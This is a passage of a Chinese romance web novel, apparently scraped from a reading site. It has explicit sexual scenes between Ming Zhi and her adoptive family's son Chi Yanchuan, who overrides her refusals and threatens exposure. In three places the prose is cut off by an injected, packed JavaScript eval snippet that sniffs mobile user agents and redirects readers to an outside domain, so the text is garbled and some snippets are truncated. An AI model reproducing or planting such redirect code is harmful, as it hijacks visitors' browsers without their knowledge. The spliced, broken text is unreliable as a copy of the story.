明枝裹紧自己的裙摆挪到了座椅另一端,她抱着膝盖,缩成团,扭头看向车窗外。 迟砚川看了眼她把自己包裹起来的防备姿势。 商务车在郊区道路疾驰,很快,窗外不再昏暗一片,变成了城市的车水马龙,纸醉金迷的霓虹高楼。 泛海集团的总部大厦在眼前掠过。 明枝望着那栋高耸入云的大楼,将来,迟砚川会成为那栋楼的主人。 他身份矜贵,站在云端,前途无量。 而明枝只怕高处不胜寒。 世家大族的繁荣从未真正属于她。 住在迟家这么些年,她也从未将自己当作什么千金小姐。 况且迟家待她早已仁至义尽,更没有养她一辈子的义务。 等将来毕了业,她会搬出迟家,靠自己的本事谋生,过回真正属于自己的生活。 * 车子驶入知景园,一直开到别墅门前那泓喷泉池畔旁。 下了车,明枝才知道开车的是何乐。 何乐为明枝打开车门,神色如常,早已不见当初误触后座挡板降落,撞见迟砚川压着她接吻时的惊恐模样。 自那之后相当长的一段时间里,何乐看向迟砚川的目光都是万分复杂的。 可一想到对方是自己的衣食父母,许多话到嘴边又硬生生咽了回去。 直到迟砚川怕他自己把自己憋死,一天天自己在那独自表演伦.理道德大戏。 这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549467|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难得大发善心地开口:“怎么,你真当她是我亲妹?” 一瞬间,何乐的心里豁然开朗了! 毕竟外界都是这么传的,何乐也是这么听的,可迟砚川这么一说就相当于否认了。 何乐拍了拍自己的小心脏,这下放心了,他的老板不是变态。 怎么不是,迟砚川就是大变态! “你出去——” 明枝脸上的洗面奶泡沫都没来得及冲干净,水花模糊了视线,她用湿漉漉的两只小手紧紧抓着浴室门。 然而只是徒劳。 迟砚川稍一用力,玻璃门被打开,男人高大的身影赫然挤进。 明枝慌乱后退,然而浴室就这么点大,她又能退到哪里去,迟砚川长臂一伸把她抱过来放到了台面上。 “你出去啊!”明枝伸腿踹了过去,却被他扣紧脚踝猛然分开。 他走近,裤线锋利的西装裤沿一点点顶开她的膝盖。 明枝呼吸加重,就连嗓音都在抖:“臻姨和大哥大嫂就要回来了!” 迟砚川不以为意:“正好老爷子催我结婚。” 他的意思是直接公开。 明枝脸色发白,嗓音不自觉拔高:“迟砚川!” “宝宝好凶,”迟砚川笑,握过她手按到自己心口,“是要吃了我?” 明枝咬着唇,不想跟他就结婚这个话题谈论下去,她看了眼浴室外的房间门。 “反锁了,没人进得来。” 迟砚川扯过一张干净的洗脸巾,浸湿,擦拭她脸上残留的白色泡沫。 明枝偏头躲开,他手伸过去继续。 明枝咬着唇瓣,默不作声。 很快,迟砚川把她的脸全都洗干净,大手伸到后背碰到她的礼服链扣。 明枝抖了下,手心蜷缩起来。 洗漱台面铺上了一块软巾。 浅杏裙摆像被风吹落的结香花瓣,无声堆叠在瓷砖地面。 温热的水流和他的吻一并落下。 明枝咬着自己的手指,喉咙不停吞咽,她强忍着不发出任何声音。 迟砚川湿着薄唇抬起头,将修长的两根手指伸到她面前。 明枝羞愤,膝盖往里收拢,碰到,她耿着脖颈朝他抛去一记嘲讽。 ——你以为你就很有定力? 迟砚川笑了,薄唇吻了上去肆意在她口腔里探索着,掠夺她的津甜气息。 男人的臂肌慢慢变得鼓胀,小臂上的蟒蛇纹身仿佛活了过来。 漆黑的蛇身与她雪白的大腿形成鲜明对比,冰冷的蛇信舔着她的肌肤,一点点向上游移,占据着独属于他的领地。 迟砚川是去东南亚半年后多了这道蟒蛇纹身。 顾臻知道后虽然蹙眉不悦,却也因为纹都纹了,难以更改而作罢。 迟家上下恐怕只有明枝知道,迟砚川的这道纹身是为了盖住一道疤痕。 那半年里,迟砚川为了尽快揪出当初打伤迟清淮,致使集团海外部十三名员工重伤的枪手,在撒网布局和行事风格上几乎可用不择手段来形容。 迟砚川非常护短。 最终果然比警司那边更快找到那人的下落,对方是个亡命之徒,拿了花衬衫的钱办事。 他们最初的策划是劫持绑架迟清淮,以此索要五亿赎金,这才引发了那场人心惶惶的动乱。 收网中迟砚川为了断绝对方的所有后路,手臂不慎被他用利刃划伤,那伤口结疤便成了如今的蟒蛇纹身。 那蛇也不是普通的黑蛇,而是号称丛林霸主的缅甸蟒,蛇身线条如刀刃锋利,蛇头以一个昂起俯视的姿态掌控一切。 当初,迟砚川对她说:“宝宝,我受伤了,流了很多血。” 明枝怔然,光是看着那道疤痕就能猜测到当初的伤口该有多长,多疼。 明枝眼睫颤动,情绪稍作起伏,手指刚要伸出去触碰,迟砚川又说:“乖,把舌头伸出来,安慰我。” “……” 哪怕只泄露了一丝心软也完了。 她最终难逃被凶恶蟒蛇缠上,成了他的盘中猎物。 迟砚川早将她了解透彻。 清楚怎样用最快捷的方式让她认输,也知道,如何把她控制在半上不下,渴望他如渴望氧气的境地。 明枝颤着。 她抱紧他的脑袋,难受却又贪恋,内心在极度抗拒与极度渴望中不断来回撕扯。 她的心脏在剧烈跳动,柔软的心挤压在他紧实的胸膛上,渐渐变形变软。 不管哪种情绪都被迟砚川极限管控。 连她自己都分不清。 究竟是想要还是不想要。 “宝宝,你看。” 迟砚川吻住她,“我都不需要动,你自己就在吃。” 4. 寸步不离 浴室水声响了四十分钟。 明枝鼻尖通红,眼眶湿润,长发凌乱黏在后背,双臂连抬起来的力气都没有了。 “迟砚川,我真的好累……” 明枝以为迟砚川吃软不吃硬,于是总在关键时刻假意服软,借机换取一丝生机。 “叫三哥。”男人的嗓音闷重粗粝。 “三哥……三哥……求你了……” “宝宝。” 沙哑温柔的一句在头顶响起。 明枝被蛊惑,恍然抬头,迟砚川神情散漫,薄唇笑得无害。 却在下一瞬揽着她腰重吻过去。 明枝彻底崩溃,无数失控谩骂被他的薄唇吞咽了进去。 浴室外,明枝的手机屏幕亮了起来。 来电显示安遇,没人接,屏幕很快又熄屏下去。 “信息……会回……” “电话……会接……” 明枝抖着嗓子:“不会再,拉黑你……” “嗯。”迟砚川嗓音愉悦,勾着她湿漉漉的发尾缠在手上,“枝枝好乖。” 他养大的宝宝,好乖。 水声停了,迟砚川用一张浴巾裹着明枝把她抱了出来。 他轻车熟路去她衣帽间拿来一套新睡衣和内裤。 “没肿。”迟砚川目光幽深停留。 往日,他最喜欢咬着她耳朵说:“枝枝身上哪里都是粉白色的,到底是怎么长的,嗯?” “是不是故意长成这样的?” 这个变态。 回应他的是羞红脸的明枝揣向他大腿的一脚。 被踹了个正着,迟砚川丝毫不觉痛,他顺势扣住她脚踝,“再招我试试?” 仿佛踩在石柱上。 明枝错愕抬眼,所以,都四十分钟了他还不消停?! 又觉得这种事发生在迟砚川身上很合理,哪次他不是像瘾发作,最少两小时。 “衣服给我。” 明枝漫着红晕,她现在这样很没有安全感。 迟砚川没给她,拿起薄薄的一片白色棉料从她脚踝套了进去。 明枝默了默,移开脸不看他。 阻止也没用,只要迟砚川想做的事没人能叫停,她也不例外。 迟砚川给她穿好衣服,又开始给她吹头发。 室内响起催眠的白噪音,空气里是清新沐浴液和洗发露的香气。 明枝整个人变得懒洋洋的,浑身上下就连手指尖都透着一股软绵舒爽。 这时,手机屏幕再次亮了起来。 是安遇发来的信息,问她是不是在回淮城的路上了,怎么没接电话。 明枝和安遇是先认识,后来她才嫁给迟清淮,两个人虽然有年龄差,但安遇性情温和,她们很聊得来。 明枝也会借故从安遇这里套一些有关迟砚川的消息。 比如这次顾灼的婚宴,明枝也是从安遇口中得知迟砚川国外的事情还没料理结束,不会回来。 哪知,迟砚川不仅不打一声招呼回来了,还是那样一个变态的出场方式。 要不是她当时闻到他身上的气息,以及……他吻她时习惯性先舔她舌尖的动作,她真的会被吓死。 今晚从顾家先行离开时,明枝找的借口是学校临时有急事,要赶回去。 她到底不是正儿八经的迟家人,去留自然没什么人在意。 然而一个谎言说出口就需要很多个谎言去圆,明枝只好又说,学校的事暂时不急了,她回了知景园。 安遇:[我们也快到家了。] 明枝瞳孔猛缩,她慌乱起身:“迟砚川,你快点出去!” 啧,又连名带姓叫他。 迟砚川屹然不动,“爽完了就赶人?” 明枝焦急:“你别闹,快点出去啊!” 迟砚川说:“明天去我那住。” 迟砚川名下的房产很多,其中一套位于市中心的大平层,明枝半推半就被迟砚川带去那里厮混过两个星期。 到最后她看见主卧那张床双腿都不自觉打颤发软。 “不要,我不想去。” 明枝脸色难看,眼底满是抵触。 迟砚川站在床边,居高临下看了她几眼,他忽然俯身,扣住她后颈力道略重堵她的唇。 “唔……” 刺疼传来,明枝皱起眉。 迟砚川掐她下巴,眼神冷意分明,“看来我们枝枝还是最喜欢偷.情的感觉。” “我不喜欢。” “不喜欢偷.情,还是不喜欢我?” 明枝怔住。 “怎么,不敢回答?” 我敢,你听吗,你能保证听了不对我做过分的事吗? 可话到嘴边又被明枝硬生生咽了回去。 她太清楚迟砚川是什么样的人。 他生来便一帆风顺,从未有人触碰过他的逆鳞,也从未有人对他说一个不字。 他的人生太过顺遂,身边所有人都在围着他转。 面对这样的人绝对不能硬碰硬。 她若真把实话说出口,会彻底激怒他,最后吃亏的只会是明枝自己。 然而明枝却不知,即便没把话说出口,她的眼睛也早已写满了真实想法。 迟砚川露在外的锁骨上留着她方才情迷之际留下的浅浅牙印,空气中也还残留着未散的旖旎气息。 可从这一瞬开始,彻底消散了。 她的眼睛在下一场冰冷的雨,那场雨没有落向别处,只当头浇在他身上。 明枝犹未觉,柔声开口乞求:“三哥,我最喜欢你,你快点出去好不好?” 家里其他人快回来了,他绝对不能再待在她房间里。 满口谎言的小骗子。 迟砚川看着她,薄唇浮起一抹讥诮。 “明枝,你最好牢牢记住。” 他缓缓靠近,用手背刮着她的脸,“你最喜欢我。” 迟砚川的手背很冰,骨节贴上她柔软的肌肤,冷意仿佛透过皮肉渗进她的血液里。 明枝的视线落在他的小臂上。 那道盘踞的蟒蛇纹身仿佛又活了过来,正顺着他的手臂攀上了她的脖颈,蜿蜒而下,迅速缠住她的脉搏,掠夺她的呼吸。 明枝下意识吞咽喉咙。 迟砚川俯身,微凉的鼻息喷洒在她耳畔,“宝宝,我们很快就能一起睡。” 他要她寸步不离。 要每天晚上抱着她睡。 明枝浑身僵硬,心脏不安跳动。 下一瞬,她的肩膀忽然一沉,迟砚川将脑袋抵在了那里,正在用他乌黑浓密的短发来回蹭她脖颈。 细软的发尾扫过皮肤。 带来痒意以及一点微妙的温热。 明枝莫名联想到,一只平日里威风凛凛的大狗狗,因为被勒令不准上主人的床睡觉,它只能耷拉着耳朵,把毛茸的脑袋抵在主人肩膀轻蹭。 就像现在,迟砚川把脑袋抵在她肩上,姿势像极了一只即将被赶出房间,却又不死心的大狗。 明枝:“……” 嘴角诡异地抽动了一下。 * “叩叩——” 书房门被敲响。 迟砚川掸了掸烟灰,从窗前转过身,摁灭猩红,抬手拔开酒塞,“进。” 迟清淮推门进来。 从婚礼现场一直到顾家,兄弟俩都没找到合适的时机说说话。 迟砚川在海外部的筹谋连一丝风声都未传回国内。 他身边的人又个个守口如瓶,只听他一人调遣。 迟清淮:“我听说人已经抓到了,现在可以跟我详细说说了吧?” 迟砚川散漫勾唇,将那些惊心动魄的生死危机轻描淡写,只说犯罪团伙已尽数落网。 再加上泛海集团的强大律师团队坐镇,那些人再无任何威胁的可能。 迟清淮抬手推了推银边眼镜。 曾经自己作为大哥护着两个弟弟一个妹妹,不知从什么时候开始,他的三弟已悄然拔节生长,肩背挺拔宽阔。 不仅在身量上超过了自己,连行事手段也比他更显当断则断的雷霆魄力。 “准备什么时候回来?” 迟清淮指的是回来岚城总部。 “没这么快。” 迟砚川握着酒杯抿了一口。 他既然接手了,要做的就远不止平息海外部的动荡这么简单。 他更要吞并扩张版图。 在迟砚川看来,经历过危机冲击的海外部远比安稳平顺的岚城总部更具挑战性,也更值得他放手一搏,做出真正属于自己的成绩。 迟清淮笑了笑,眼里有着赞赏。 然而下一瞬,迟清淮瞥见他侧颈似乎有一条极浅的红痕。 迟清淮面上不动声色,眼底却掠过一丝疑云。 那个位置。 总不会是他自己抓出来的吧? 迟清淮推开三楼主卧房门,安遇恰好从浴室走出来。 她的脸颊还泛着沐浴后的湿润薄红,吊带睡裙下是两条光滑的小腿。 她的发梢在滴落水珠。 彼此视线相对,迟清淮停顿两秒,淡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549468|186762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移开目光。 安遇微咬了下唇,抓着毛巾慢条斯理地擦着头发。 迟清淮带上门,脚步沉稳走了进来。 安遇忽然想起一事,转头道:“对了,今晚外婆特意向我问起了南初。” 蒋南初,岚城东盛集团二当家的掌上明珠,与安遇曾是高中同学,如今正在海外攻读MBA学位。 在顾老太太眼中,论家世背景与个人才干,蒋南初无疑是迟砚川未来妻子的最佳人选。 “外婆恐怕要失望。”迟清淮说。 安遇不明白:“嗯?” 迟清淮回想起自家三弟今晚在顾家冷静缄默的态度,以及接了个电话就起身告辞的举动。 再联想到他颈侧的那道红痕。 从程度看,应该是这两天留下来的。 今天他一整天都在人群焦点中心,没跟别的什么人有接触。 昨天他人不在国内,照这么看来,大概是在那边有了女朋友。 迟清淮记得自己在海外分部的手下曾无意间提及,迟砚川自从到了那边就一直在处理公务,唯有一次亲自飞赴日内瓦出席了一场拍卖会。 并且将当天压轴的一颗十克拉天然粉色原钻以一千三百万的瑞士法郎成交价拿下。 粉钻,很明显是送给异性。 迟清淮对两个弟弟的私事从来不干涉也不多言,他语气温润,转移话题:“今晚我睡书房。” 安遇连忙道:“还是我去吧,你的伤——” “伤早就好了。” 迟清淮说:“头发吹干,早点睡。” “……好。” 安遇紧了紧手里的毛巾。 迟清淮解开袖扣走进浴室。 安遇望着他的背影。 没感情的联姻夫妻便是这般相敬如宾,迟清淮很尊重她,也从没强迫她做不愿意的事。 * 坐落在草坪中间的恢宏别墅,在月色的笼罩下显得华贵清幽。 花园里错落的地灯将低矮灌木的草叶脉络映照分明。 关了灯,明枝顺手反锁房门。 自从经历过迟砚川几次半夜闯进来,明枝就开始反锁房门睡觉。 尽管还是拦不住他。 只要迟砚川想,他有万种方法撬开这扇门。 或者,他用不着撬门,只需要发送一则轻飘飘的消息给她: [你也不想被家里人知道C过我多少次吧宝宝?] 明枝:“……” 关于这个顺序,明枝不想去辩解,因为迟砚川变态不要脸,只会得寸进尺说更多下.流的话。 卧室陷入寂静。 明枝仰躺在床上,盯着漆黑的天花板出神。 这个家,这个房间,她住了十几年,迟家上下对她很好,可她始终明白,这里不是她真正的家。 自从爸爸妈妈去世,她在这世上就没有亲人了,她就像一艘孤零零的船,始终飘在海面上。 明枝已经不想去回想,到底是怎么和迟砚川一步步走到今天。 又该怎么收场。 两杯掺了东西的酒,她推错的房门,一切都在意料之外。 当她醒来发现自己睡的是迟砚川时,尽管各种情绪在脑海中混乱涌现,有茫然不安,有惊慌无措。 却没有抵触和恐惧。 即便她能欺骗自己,可身体最诚实。 她和迟砚川很契合,从未有过的微妙慰.藉填满了她孤独的心口。 然而天亮之后,清醒之后。 那点慰.藉立刻消失得干干净净,剩下的是现实。 酒色误事,后果难料。 明枝只能宽慰自己只是犯了天底下的人都会犯的错。 然而,当她一心想要把那晚当作过往悄然揭过时,迟砚川只是笑,然后扣住她的腰差点把她撞碎。 他的眼圈发沉。 他说她在玩他,说她不负责任。 迟砚川是冷白皮,身材很顶。 年轻气盛,腹肌沟壑分明,绷紧的腰背就像一把蓄势待发的弓。 每一次拉弓放箭正中靶心都带着一股不驯的狠劲。 明枝扯过被子盖到脑袋上,把通红的脸埋进枕头里。 好吧,如果她酒后意识不清对他说好重好粉,还握着不放是‘玩’的话。 那她承认自己的确不小心玩了一下。 但他也弄得她手很烫,为什么还不罢休。 原因简单。 迟砚川是一头永远喂不饱的猛兽。 而明枝,惹上了天大的麻烦。 5. 让我满意 对明枝来说,昨晚在浴室已经是过量的运动,早上只能依赖闹钟起床。 睡不够,腰很酸。 脱下睡衣冷不丁看见镜子里自己腰侧的深色掌印,她立刻在心里把迟砚川骂了个遍。 “明小姐早。” “大家早。”佣人在走廊清洁地板,明枝唇角浅扬,微笑颔首跟她们打招呼。 路过两间书房,然后才是迟砚川的主卧,房门没关严实,开了一道缝。 角度巧得仿佛刻意,恰好能让明枝将屋内的一切尽收眼底。 晨光漫过窗棂,室内洒满鎏金光芒。 四目相对,男人勾起一抹别有深意的笑。 迟砚川正在系皮带,长指勾着卡扣。 明枝立刻移开视线,嘀嘀咕咕走开,大早上的,给谁看…… 走了两步,倏然想起什么,明枝又立刻折返回来。 余光瞥了眼仍在走廊打扫的佣人,她没办法,只得掐着乖妹妹的嗓音礼貌敲门,“三哥,早上好,我能进去吗?” “进。” 明枝走了进去,为了避嫌她没关门。 她扫过迟砚川敞开的衬衫领口,锁骨下两颗纽扣大剌剌地松着。 明枝咬牙道:“你把扣子扣上……” “扣这么上干什么?” “你说呢!” 迟砚川懒洋洋地偏头,薄唇噙着促狭的笑:“原来我们枝枝占有欲这么强,不想让别人看见哥哥的身体?” 你去裸奔我给你打灯! 但你不能带着我……我亲出来的吻痕在家里晃! 不过……他皮肤有这么嫩吗,昨晚不是消了吗,怎么今天早上还这么明显? “别闹了,你快点!” 明枝压着嗓子,她扭头看了眼房门,担心被佣人看出什么端倪。 她催促。 迟砚川却相反,他丝毫不急:“你给我扣。” “你——” 明枝睁圆眼瞪他。 掠过那片敞亮的冷白皮肤,她咬了咬唇,没办法,只好迈步凑近,指尖捏住衬衣的纽扣飞快替他系上。 “就全扣上,不摸摸看?” 迟砚川垂眸,高大身躯笼罩她,发出邀请。 明枝无动于衷,一脸清心寡欲到仿佛下一秒就可以去出家。 迟砚川盯着她的嘴唇。 她的唇形很漂亮,是健康的粉色,桃心形状,丰盈饱满。 她生气时嘴唇会嘟起来,贝齿张合夸他是变态,偶尔也会咬紧下唇,邀他来品尝。 她的唇还很敏感,只是吮一吮唇珠整个身体都会跟着抖,很快便软成水化在他怀中。 迟砚川把手搭在她腰上,指腹捻动她垂落的长发,不着痕迹把人往怀里拢。 一只手扣住了她的后脑勺。 主卧变得不再静谧,细细密密的低喘声开始隐秘传来。 口腔清冽薄荷的味道,湿润唇瓣相贴,明枝惊慌却挣脱不掉。 耳畔不时传来走廊佣人的做事声,来回刺激着她的神经。 好几次,她尖利的虎牙都咬到了他。 “好疼。” 迟砚川滚着喉结,恶人先告状。 明枝:“咬死你。” 迟砚川挑眉:“试试?” “你烦死了。” 明枝一把推开他,用手背擦了擦嘴唇,扭头快步走出房间,偏偏还要收起表情装作若无其事。 明枝边下楼梯,边打定主意要早点回淮城去,再和迟砚川待在一起她真的会被吓出心脏病。 顾臻难得出现在早餐时段的家里。 明枝抬手捏了捏自己的脸,像揉面团似的调整好表情,她走过去。 “臻姨,早。” “大哥大嫂,早。” “嗯,坐吧。” 顾臻似乎心情不错,正用刀叉将三明治切成整齐的小块。 很快,迟砚川也走了下来。 衬衫熨帖妥当,西裤裹着长腿,腕间佩戴一枚冷光铂金表盘。 迟清淮和安遇坐在一侧,迟砚川自然坐到明枝身旁。 明枝垂眸喝了口牛奶。 一顿早餐因为顾臻在场而显得格外安静,大家都没怎么说话,除非顾臻开口询问。 迟砚川昨晚在顾家走得早,老爷子和老太太记挂着他。 这不,一早又让人打电话过来,要外孙得空了过去吃饭。 迟砚川慢条斯理喝了口咖啡,说出国前会再过去一趟。 顾臻问他计划什么时候走:“你爸过两天就回来了。” 迟正庭这两天在外市参加政企大会,因而缺席了侄子顾灼的婚礼。 迟砚川:“那就等爸回来。” 顾臻颔首,又对明枝道:“枝枝,你这两天没什么重要的课,也留下吧。” 明枝很久没见迟叔叔了,正高兴着,冷不丁听见顾臻对自己的课表竟然了如指掌。 那她昨晚扯谎说的学校有急事,听起来就变得不太可信了…… 好在顾臻并不是一个深究细枝末节的人,明枝压下心虚,垂眸轻轻点头。 吃过早餐。 迟清淮和迟砚川准备出门。 迟清淮今天有个商务洽谈,对方约在一家非公开会员制的马术俱乐部里。 迟清淮不擅马术,于是邀上自家三弟,迟砚川喜欢玩各种极限运动,赛车马术攀岩射击,越有挑战性他越精通。 客厅里,安遇见迟清淮的领带有些歪,正在帮他调整。 安遇说:“你弯一下腰。” 迟清淮:“好。” 迟砚川看了眼他们。 他独自系袖扣,视线穿过客厅落在捧着玻璃杯在喝剩下半杯早餐牛奶的明枝身上。 明枝扭头给了他一个后脑勺。 喝完牛奶,明枝把杯子拿到吧台的水池边清洗,力所能及的事情她一般不习惯麻烦佣人。 爸爸妈妈从小就教育她凡事要勇于尝试,亲力亲为。 清凉的水柱顺着杯沿冲刷,明枝仔细洗干净杯子,摆进消毒台柜,转身时才惊觉迟砚川竟然站在她身后。 明枝吓了一跳。 他怎么悄无声息神出鬼没的。 “你…你不是要出门吗,过来干嘛?”明枝一脸戒备。 迟砚川沉下眼:“无视我?” “……” 他到底是什么高需求怪物。 “两个选择,我在家陪你,你陪我出去。” “我选第三个。” 迟砚川走近:“第三个,睡我。” 明枝咬牙后退:“你能别这样吗?” “这样是怎样,”迟砚川眼梢低垂,神情很冷,“接下来你最少有几个月不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他生来什么都有,自然对什么都是三分钟热度,真要说起感兴趣的一样东西,大概就是车。 明枝扣上安全带,看了眼车内饰。 车身她刚才被塞进来没仔细看,似乎是黑银色线条,限量版的迈凯伦塞纳。 车内饰则是纯黑色。 这辆车明枝是第一次见。 她随口一问。 迟砚川说:“最近提的。” 迟砚川又念了串数字,说是这车的车牌,又问她:“有印象吗?” 明枝跟着念了一遍。 不是迟砚川的生日,不是家里其他人的生日,更不是她的生日。 一串没有规律的数字,她怎么可能会有印象。 见她竟然真的不记得,迟砚川微眯了下眼睛,红绿灯前,他踩下刹车,长指搭在方向盘上轻敲两下,侧头看过来。 “是我们第一次那天。” 明枝愣了两秒,脸颊轰的烧红。 迟砚川果然是变态,谁会把那种日子做成牌照啊! 6. 舔她手掌 一直到俱乐部,明枝都没再搭理迟砚川,生怕他来劲了又口出什么狂言。 “迟总,三少!” 俱乐部老板陈昊亲自在门口迎接:“欢迎欢迎!” 迟砚川在泛海岚城总部没有正式挂职,因而圈子里的人还是习惯称呼他为三少,也好区分。 俱乐部今天来的会员贵客不少,放眼过去停车场豪车云集。 “这边请。” 陈昊把他们请进包厢,从里面的落地窗往外看就是竞技场。 养尊处优的贵宾们无需经受风吹日晒,悠闲坐在沙发上品着茶酒就能看完一场精彩的马术比赛。 包厢里先到了不少人,见迟清淮和迟砚川进来纷纷起身相迎,紧接着便是一番例行的相互寒暄与客套恭维。 合作方中有关键性作用的两位和迟砚川是旧相识,态度格外热络。 迟清淮惊讶他的人脉之广。 别的不说,主动给迟砚川递来打火机的那位,可是行业里出了名的倔脾气。 不过,迟砚川只是收了烟放在桌上,没让点燃。 他旁边坐着明枝。 迟砚川不抽烟,其他人见状也把打火机收了回去。 迟砚川和迟清淮今天恰巧穿着同一品牌不同色的西装,彼此各具风采。 迟砚川没系领带,整个人更显随性,仿佛这个包厢本就是他的主场,而他是掌控全局的主人。 那份从容不迫的气度无需刻意展现便自然流露。 双方正式进入谈话环节后,迟砚川又很自然地把主场交回给迟清淮。 迟砚川对国内业务并不熟悉,今天的作用是锦上添花,没多插手。 这时候的迟砚川,和磨着明枝要每日亲吻,要不到就使出各种恶劣手段的迟砚川简直是天差地别的两个人。 明枝默默收回目光。 要不是自己是坐着他的车来的,她都要怀疑这是不是他本人。 侍应生鱼贯而入,手中托着精致餐盘。 一会儿这些人都要上马跑两圈,不宜饮酒,因而奉上的是顶级茶艺师烹制的太平猴魁与苏式点心。 茶盏用的是青花瓷,很雅致。 明枝把茶盏与一碟用宋瓷盘盛放的点心交错摆放,镜头对准拍了张照片。 收起手机,她端起茶盏轻抿一口。 绿茶清香。 她品了品,没尝出特别之处。 口感和舍友盛亦舒常点的那杯伯牙绝弦相似,不同的是,一公斤太平猴魁大概可以盘下一整间茶饮店了。 明枝又品了品,还是没品出什么特别的,她搁下茶杯。 “苹果汁。” 迟砚川淡声开口,修长的指尖在明枝与他的餐桌之间轻轻一点。 身后的侍应生微微颔首,不多时,一杯鲜榨苹果汁被妥帖送至桌上。 迟砚川转头接下旁人的话头。 他仿佛自始至终并未过多看向明枝这边,却又时时刻刻都在留意着她。 明枝垂下眼睫,将那杯苹果汁挪到自己面前,拿起来喝了一口。 不愧是需要验资才能进来的马术俱乐部,销金窟里的苹果汁就是比别的地方好喝。 “枝枝,我们去那边看看。” 明枝回过神,随着安遇起身走向落地窗前。 走近了才发现落地窗是推拉式的设计,窗外是一处阶梯露台,走出去看比赛视野更开阔。 时间尚早,场上只有五六个人在骑马,其中一位穿着俱乐部教练马术服的年轻男人吸引了明枝的目光。 深色马术服和白色马匹,湛蓝的天,碧绿的草地,这一幕色彩冲击感很强。 习惯性使然,明枝想拍张照片。 然而还不等她把手机拿出来,那位教练已经挥鞭骑马跑开了。 “砚川?” 迟清淮见他似乎在走神。 “嗯。”迟砚川若无其事转头,继续听他们讲话,眼底神色却淡了下来,手上把玩着一枚都彭黑漆打火机。 咔嗒点燃,又阖上。 安遇提议:“枝枝,我们也下去骑两圈吧?” 明枝点头:“好啊。” 十五岁生日,迟正庭就送了一匹马给明枝,起初她还挺新奇,后面得知那匹马要三百万,一个庞大的数字。 “听说是乡下来的……” “真是先生的私生女啊?” “反正外面都是这么传的……” “命可真好,能被这个家养着,那么贵的马就这么送给她……” 两名女佣的交谈声走远。 明枝靠在墙角揉了下眼睛。 如果爸爸妈妈能回到她身边,她愿意用一切去换,哪怕所谓‘命可真好’的这条命。 后来没两天,明枝发现那两名新来的女佣被辞退了。 林姨说:“她们毛手毛脚,规矩没学好,把三少爷珍藏的宝贝给打碎了。” * “两位这边请。” 俱乐部场地助理把明枝和安遇带到装备区,这里展示着最新款的马术服供贵客随意挑选。 “这套不错。”安遇挑选了一套浅杏色的马术服,配棕色长靴。 安遇换好出来,场地助理为她佩戴护具和头盔。 “怎么样?”安遇摸摸头盔。 “好看!”明枝夸赞,拿出手机给她拍了张照片。 “那我先过去。”安遇含蓄一笑,她还没骑过马呢,需要教练引导。 明枝点点头:“我一会儿去找你。” 场地助理引着安遇去见教练,装备区一时只剩下明枝一个人。 明枝左看右看,转了几圈最后选了套藏蓝色的英伦骑士风马术服。 “更衣室在哪来着……” 明枝望着四通八达的回廊,没找到醒目的指示牌。 突然,后背贴上一具温热的躯体,一条手臂横过她的腰间,带着她拐进了最近的一间更衣间。 啪的一声,顶灯被关掉。 周围不算昏暗,但视线总归受限。 明枝蹙起眉,一巴掌毫不客气地挥到对方肩膀上,“迟砚川,你能不能不要总是吓我!” 每次都像鬼一样从背后绑架她。 男人抬起她的下巴,沉着眼眸逼近,“你刚才在往谁身上看?” “什么谁……” 明枝一边偏头躲开他灼热的气息,一边努力回想,好几秒才反应过来。 难不成是那位马术教练? 迟砚川当时不是在包厢里跟人谈生意吗,难不成背后也长了眼睛? 而且她的视线恐怕只在那位马术教练身上停留不到五秒钟吧。 “我只是喜欢他穿的马术服!” 以及他的穿搭和当时环境的色彩呼应。 然而就算明枝这么解释了迟砚川也不懂什么叫色彩搭配。 他的脑子里大概只有一种颜色。 “唔,疼……” 她的唇珠被他用力吮了下,明枝想骂人,她都解释了,迟砚川还要怎么样。 难不成他的耳朵只接收前六个字吗。 四周昏暗仿佛催发剂。 迟砚川把她抵在墙壁与胸膛之间。 他低哑着嗓音:“只能喜欢我。” 明枝:“……” 果然,他需要去看耳科。 太重了。 明枝被他吻得嘴巴发麻。 她受不了,可他的胸膛比墙壁还硬,根本推不开,反而因为这份挣扎勾起他更恶劣的掠夺欲。 “好甜。” 他勾着她溢出唇边的晶莹,薄唇在她挺翘的鼻尖亲了亲,又移到她雪白的侧颈。 “不要了……” 明枝喘着,双眸染上水雾,双腿也开始发软。 迟砚川把她托抱起来,彼此视线平视,他扫过她呼吸起伏之处。 饱满成熟的桃,果肉清甜。 他眼底倏暗,牙尖发痒。 想咬,想埋入。 就在这时,外面传来脚步声,明枝倏地抬头,一脸惊慌戒备。 迟砚川悠悠笑着:“出不去了,继续?” “你别说话!” 明枝怒瞪,一把捂住他的嘴巴。 掌心传来湿热,吓得明枝又赶紧抽回手。 这个变态! 他竟然舔她手掌心,他是狗吗! “明小姐?” 是那位场地助理,把安遇交给教练后又过来服务她。 对方喊了两声,没听见回应,以为明枝已经换好衣服出去了,看了一圈便也走开了。 